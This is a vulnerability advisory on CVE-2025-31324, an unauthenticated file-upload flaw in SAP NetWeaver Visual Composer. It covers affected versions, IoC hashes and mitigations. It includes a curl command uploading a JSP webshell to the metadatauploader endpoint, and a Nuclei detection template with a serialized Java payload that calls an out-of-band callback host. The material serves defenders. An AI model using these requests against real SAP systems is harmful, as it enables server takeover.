CVE-2025-31324: Remote Code Execution in SAP NetWeaver Visual Composer

Introduction

CVE-2025-31324, published on April 24, 2025, on the NVD, is a critical flaw in the Metadata Uploader component of SAP NetWeaver Visual Composer. Initially identified by ReliaQuest on April 22, 2025, as reported in their blog, it allows unauthenticated attackers to upload malicious files, resulting in remote code execution (RCE).

With a CVSS 3.1 score of 10.0, the vulnerability has a severe impact, potentially leading to the complete compromise of the confidentiality, integrity, and availability of affected systems. Evidence of active exploitation since January 20, 2025, as documented by Onapsis, characterizes it as a zero-day vulnerability. CISA included the flaw in its Known Exploited Vulnerabilities Catalog on April 29, 2025, reinforcing the urgency of mitigation.

Affected Versions

The vulnerability affects the SAP Visual Composer (VCFRAMEWORK) component in all versions of SAP NetWeaver 7.xx (all Support Packs – SPS), which operates on the NetWeaver Java stack.

Specifically, the vulnerable component is the Metadata Uploader, present at the /developmentserver/metadatauploader endpoint. Although Visual Composer is not installed by default, it is widely enabled, with estimates suggesting that 50% to 70% of NetWeaver Java systems are potentially vulnerable, according to Hackread.

Table of Affected Versions

Product	Version	Affected Component	Notes
SAP NetWeaver	7.xx (all SPS)	Visual Composer (Metadata Uploader)	Requires VCFRAMEWORK component installed

Technical Details

The flaw lies in the Metadata Uploader component, which does not validate the identity or permissions of the user when processing upload requests at the /developmentserver/metadatauploader endpoint. This allows unauthenticated attackers to send executable files, such as JSP webshells, to publicly accessible directories, resulting in RCE.

Exploitation Process

The attack occurs via HTTP/POST requests to the /developmentserver/metadatauploader endpoint. An attacker can send a malicious file, such as a JSP webshell, which is stored in directories such as /usr/sap//j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root.

A hypothetical example of exploitation using curl would be:

curl -X POST -F "file=@webshell.jsp" http://<target>/developmentserver/metadatauploader/developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1

After the upload, the webshell can be accessed via a GET request at http://<target>/irj/webshell.jsp, allowing the execution of arbitrary commands on the server.

Public Exploits

Although full exploits are not widely available, the ease of detection and exploitation of the vulnerability serves as a warning to organizations.

Onapsis has made an open-source scanner available on GitHub to check for the presence of the vulnerable component, patch status, and known webshells. RedRays also published a scanner that detects the vulnerability and malicious files.

Additionally, a Nuclei template for the CVE is already available, allowing for mass detection of currently vulnerable applications.

id: CVE-2025-31324

info:
  name: SAP NetWeaver Visual Composer Metadata Uploader - Deserialization
  author: iamnoooob,rootxharsh,parthmalhotra,pdresearch
  severity: critical
  description: |
    SAP NetWeaver Visual Composer Metadata Uploader is not protected with a proper authorization, allowing unauthenticated agent to upload potentially malicious executable binaries that could severely harm the host system. This could significantly affect the confidentiality, integrity, and availability of the targeted system.
  reference:
    - https://www.bleepingcomputer.com/news/security/sap-fixes-suspected-netweaver-zero-day-exploited-in-attacks/
    - https://www.theregister.com/2025/04/25/sap_netweaver_patch/
    - https://me.sap.com/notes/3594142
    - https://url.sap/sapsecuritypatchday
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2025-31324
    cwe-id: CWE-434
    epss-score: 0.00043
    epss-percentile: 0.12532
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"SAP NetWeaver Application Server Java"
  tags: cve,cve2025,sap,netweaver,rce,deserialization

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"


http:
  - raw:
      - |
        POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data

        {{zip('.properties',replace(base64_decode('rO0ABXNyABRqYXZhLnV0aWwuUHJvcGVydGllczkS0HpwNj6YAgABTAAIZGVmYXVsdHN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHIAE2phdmEudXRpbC5IYXNodGFibGUTuw8lIUrkuAMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAADdwgAAAAFAAAAAnQADnByb2plY3QtbmF0dXJlc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAADHcIAAAAEAAAAAFzcgAMamF2YS5uZXQuVVJMliU3Nhr85HIDAAdJAAhoYXNoQ29kZUkABHBvcnRMAAlhdXRob3JpdHl0ABJMamF2YS9sYW5nL1N0cmluZztMAARmaWxlcQB+AAhMAARob3N0cQB+AAhMAAhwcm90b2NvbHEAfgAITAADcmVmcQB+AAh4cP//////////dAA2YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhdAAAcQB+AAp0AARodHRwcHh0AD1odHRwOi8vYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFheHQAC0VYUE9SVC1OQU1FdAATc29tZV9wcm9qZWN0X25hbWV4eHhw'),'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',payload))}}

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(body, 'FAILED', 'Cause')
        condition: and
# digest: 4a0a00473045022100f5b505da6330ce6f914842169ea999457eb6ccd6702d7f10011b8b67aabd107b02203d3504d0f406612d5ccbdde93d7c452e029e4393550688a47e9410d9ce68425a:922c64590222798bb761d5b6d8e72950

Indicators of Compromise (IoCs)

Onapsis identified the following IoCs to detect compromised systems:

Suspicious files: .jsp, .java , or .class files in /usr/sap/<SID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root, /work or /work/sync.
Known hashes:
- helper.jsp : SHA-256 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087
- cache.jsp: SHA-256 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf
- Files with random 8 character names (example: [a-z]{8}.jsp): SHA-256 b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee

Exploitation Requirements

Endpoint: Access to the /developmentserver/metadatauploader endpoint via HTTP/HTTPS, with no authentication required.
MITRE ATT&CK Tactics: T1190 (Exploit Public-Facing Application), T1505.003 (Server Software Component: Web Shell).

Mitigations

Official Patch

SAP released an emergency patch in SAP Security Note 3594142, available to customers on the support portal. Immediate application of the patch is the recommended solution to eliminate the vulnerability.

Temporary Measures

While the patch is not yet applied, the following actions can reduce risk:

Restrict Access: Configure firewall rules or use SAP security features to block requests to the /developmentserver/metadatauploader endpoint.
Disable Visual Composer: If the component is not essential, disable it to eliminate the attack surface.
Monitoring and Detection: Forward logs to a SIEM system and scan directories such as /usr/sap/<SID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root for unauthorized files, verifying the mentioned hashes.

Conclusion

CVE-2025-31324 represents a critical threat due to its ability to allow full control over SAP NetWeaver systems without authentication, with active exploitation confirmed since January 2025. Its inclusion in the CISA Known Exploited Vulnerabilities Catalog and its CVSS 10.0 score highlight the need for immediate action. Organizations should prioritize applying the patch from SAP Security Note 3594142, implement temporary measures, and monitor systems for signs of compromise.

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CVE-2025-31324: Remote Code Execution in SAP NetWeaver Visual Composer

Introduction